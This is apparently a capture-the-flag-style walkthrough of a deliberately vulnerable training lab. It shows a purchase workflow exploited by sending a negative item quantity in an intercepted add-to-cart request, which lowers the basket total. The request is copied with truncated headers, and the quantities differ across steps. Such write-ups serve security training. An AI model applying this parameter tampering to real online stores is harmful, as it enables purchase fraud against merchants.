

Lab High-level logic vulnerability

This lab doesn't adequately validate user input. You can exploit a logic flaw in its purchasing workflow to buy items for an unintended price. To solve the lab, buy a "Lightweight l33t leather jacket".

You can log in to your own account using the following credentials: `wiener:peter`

Capture "add" to Cart Request and Change to "-10"

```
Edited request ▾
Pretty Raw Hex
1 POST /cart HTTP/1.1
2 Host: 0aaa006d04c2d82cc09e72d000b200d3.w
3 Cookie: session=rRdafVyxv01a1A0hVe8B9ch
4 Content-Length: 38
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Chromium";v="105", "Not)A;Br
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Windows"
9 Upgrade-Insecure-Requests: 1
10 Origin:
    https://0aaa006d04c2d82cc09e72d000b200d3
11 Content-Type: application/x-www-form-url
12 User-Agent: Mozilla/5.0 (Windows NT 10.0
    (KHTML, like Gecko) Chrome/105.0.5195.1
13 Accept:
    text/html,application/xhtml+xml,application/javascript,application/json,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-User: ?1
17 Sec-Fetch-Dest: document
18 Referer:
    https://0aaa006d04c2d82cc09e72d000b200d3
    t?productId=2
19 Accept-Encoding: gzip, deflate
20 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
21 Connection: close
22
23 productId=2&redir=PRODUCT&quantity=-15
```

The Basket Will Now Show "negative" with Wrong Total

Name	Price	Quantity			
Lightweight "l33t" Leather Jacket	\$1337.00	-	1	+	Remove
BBQ Suitcase	\$98.32	-	-10	+	Remove

Place the Order

Congratulations, you solved the lab!

Store credit:

\$1.68

Your order is on its way!

Name	Price	Quantity
Lightweight "l33t" Leather Jacket	\$1337.00	1
BBQ Suitcase	\$98.32	-13

Total: \$58.84